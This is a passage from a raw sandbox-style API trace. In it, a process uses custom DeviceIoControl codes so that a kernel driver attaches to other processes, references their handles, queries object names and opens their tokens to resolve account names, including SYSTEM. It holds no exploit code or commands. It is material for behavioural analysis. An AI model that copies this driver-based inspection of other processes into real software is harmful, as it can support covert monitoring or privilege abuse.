TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.933] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.969] CloseHandle (hObject=0xc8) returned 1 [0137.969] CloseHandle (hObject=0xc0) returned 1 [0137.969] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.969] PsLookupProcessByProcessId (in: ProcessId=0xc18, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.969] PsAcquireProcessExitSynchronization () returned 0x0 [0137.969] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054735d0) [0137.969] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80035ad730, HandleInformation=0x0) returned 0x0 [0137.969] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.969] PsReleaseProcessExitSynchronization () returned 0x2 [0137.969] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x12 [0137.969] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.969] ObfDereferenceObject (Object=0xfffffa80035ad730) returned 0x1 [0137.969] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.969] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.969] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.969] PsLookupProcessByProcessId (in: ProcessId=0xc18, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.969] PsAcquireProcessExitSynchronization () returned 0x0 [0137.969] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054735d0) [0137.969] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002882f20, HandleInformation=0x0) returned 0x0 [0137.969] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.970] PsReleaseProcessExitSynchronization () returned 0x2 [0137.970] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x12 [0137.970] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.970] ObfDereferenceObject (Object=0xfffffa8002882f20) returned 0x1 [0137.970] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.970] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.970] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.970] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0137.970] PsLookupProcessByProcessId (in: ProcessId=0xc18, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.970] PsAcquireProcessExitSynchronization () returned 0x0 [0137.970] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054735d0) [0137.970] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003866b70, HandleInformation=0x0) returned 0x0 [0137.970] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.970] PsReleaseProcessExitSynchronization () returned 0x2 [0137.970] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x12 [0137.970] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.970] ObfDereferenceObject (Object=0xfffffa8003866b70) returned 0x3 [0137.970] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.970] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.970] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.970] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0137.970] PsLookupProcessByProcessId (in: ProcessId=0xc18, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.970] PsAcquireProcessExitSynchronization () returned 0x0 [0137.970] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054735d0) [0137.970] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80038ed670, HandleInformation=0x0) returned 0x0 [0137.970] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.970] PsReleaseProcessExitSynchronization () returned 0x2 [0137.970] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x12 [0137.970] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.970] ObfDereferenceObject (Object=0xfffffa80038ed670) returned 0x1 [0137.970] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.971] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.971] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb90) returned 0xc0 [0137.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.971] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800200c770, HandleInformation=0x0) returned 0x0 [0137.971] ObOpenObjectByPointer (in: Object=0xfffffa800200c770, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.971] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x29 [0137.971] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800248d940 | out: TokenHandle=0xfffffa800248d940*=0xc8) returned 0x0 [0137.971] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.971] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.971] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.971] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.972] CloseHandle (hObject=0xc8) returned 1 [0137.972] CloseHandle (hObject=0xc0) returned 1 [0137.972] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.972] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.972] PsAcquireProcessExitSynchronization () returned 0x0 [0137.972] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0) [0137.972] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002642f20, HandleInformation=0x0) returned 0x0 [0137.972] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.973] PsReleaseProcessExitSynchronization () returned 0x2 [0137.973] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x27 [0137.973] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0137.973] ObfDereferenceObject (Object=0xfffffa8002642f20) returned 0x1 [0137.973] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.973] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.973] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0137.973] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.973] PsAcquireProcessExitSynchronization () returned 0x0 [0137.973] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0) [0137.973] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80036e4d10, HandleInformation=0x0) returned 0x0 [0137.973] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.973] PsReleaseProcessExitSynchronization () returned 0x2 [0137.973] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x27 [0137.973] ObQueryNameString (in: Object=0xfffffa80036e4d10, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.973] ObfDereferenceObject (Object=0xfffffa80036e4d10) returned 0x1 [0137.973] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.973] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.973] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.973] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.973] PsAcquireProcessExitSynchronization () returned 0x0 [0137.973] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0) [0137.973] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.973] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.973] PsReleaseProcessExitSynchronization () returned 0x2 [0137.973] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x27 [0137.973] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.973] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.973] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.973] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.973] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.974] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.974] PsAcquireProcessExitSynchronization () returned 0x0 [0137.974] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0) [0137.974] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80035245c0, HandleInformation=0x0) returned 0x0 [0137.974] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.974] PsReleaseProcessExitSynchronization () returned 0x2 [0137.974] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x27 [0137.974] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.974] ObfDereferenceObject (Object=0xfffffa80035245c0) returned 0x1 [0137.974] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.974] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.974] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.974] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.974] PsAcquireProcessExitSynchronization () returned 0x0 [0137.974] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0) [0137.974] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a003a6c9e0, HandleInformation=0x0) returned 0x0 [0137.974] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.974] PsReleaseProcessExitSynchronization () returned 0x2 [0137.974] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x27 [0137.974] ObQueryNameString (in: Object=0xfffff8a003a6c9e0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.974] ObfDereferenceObject (Object=0xfffff8a003a6c9e0) returned 0x1 [0137.974] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.974] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.974] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0137.974] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.974] PsAcquireProcessExitSynchronization () returned 0x0 [0137.974] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0) [0137.974] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800399b8e0, HandleInformation=0x0) returned 0x0 [0137.974] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.974] PsReleaseProcessExitSynchronization () returned 0x2 [0137.974] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x27 [0137.974] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.974] ObfDereferenceObject (Object=0xfffffa800399b8e0) returned 0x1 [0137.975] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.975] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.975] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.975] PsLookupProcessByProcessId (in: ProcessId=0xb90, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.975] PsAcquireProcessExitSynchronization () returned 0x0 [0137.975] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff880054735d0) [0137.975] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0137.975] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.975] PsReleaseProcessExitSynchronization () returned 0x2 [0137.975] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x27 [0137.975] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.975] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0137.975] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.975] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.975] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc78) returned 0xc0 [0137.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.975] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800391c060, HandleInformation=0x0) returned 0x0 [0137.975] ObOpenObjectByPointer (in: Object=0xfffffa800391c060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0137.975] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0x36 [0137.975] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800248d940 | out: TokenHandle=0xfffffa800248d940*=0xc8) returned 0x0 [0137.975] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0137.975] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.975] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.975] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.977] CloseHandle (hObject=0xc8) returned 1 [0137.977] CloseHandle (hObject=0xc0) returned 1 [0137.977] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.977] PsLookupProcessByProcessId (in: ProcessId=0xc78, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.977] PsAcquireProcessExitSynchronization () returned 0x0 [0137.977] KeStackAttachProcess (in: PROCESS=0xfffffa800391c060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800391c060, ApcState=0xfffff880054735d0) [0137.977] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80028235a0, HandleInformation=0x0) returned 0x0 [0137.977] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.977] PsReleaseProcessExitSynchronization () returned 0x2 [0137.977] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0x34 [0137.977] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.977] ObfDereferenceObject (Object=0xfffffa80028235a0) returned 0x1 [0137.977] IofCompleteRequest (Irp=0xfffffa800cfde010, PriorityBoost=0) [0137.977] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.977] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.977] PsLookupProcessByProcessId (in: ProcessId=0xc78, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.977] PsAcquireProcessExitSynchronization () returned 0x0 [0137.977] KeStackAttachProcess (in: PROCESS=0xfffffa800391c060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800391c060, ApcState=0xfffff880054735d0) [0137.977] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002c06c30, HandleInformation=0x0) returned 0x0 [0137.977] KeUnstackDetachProcess 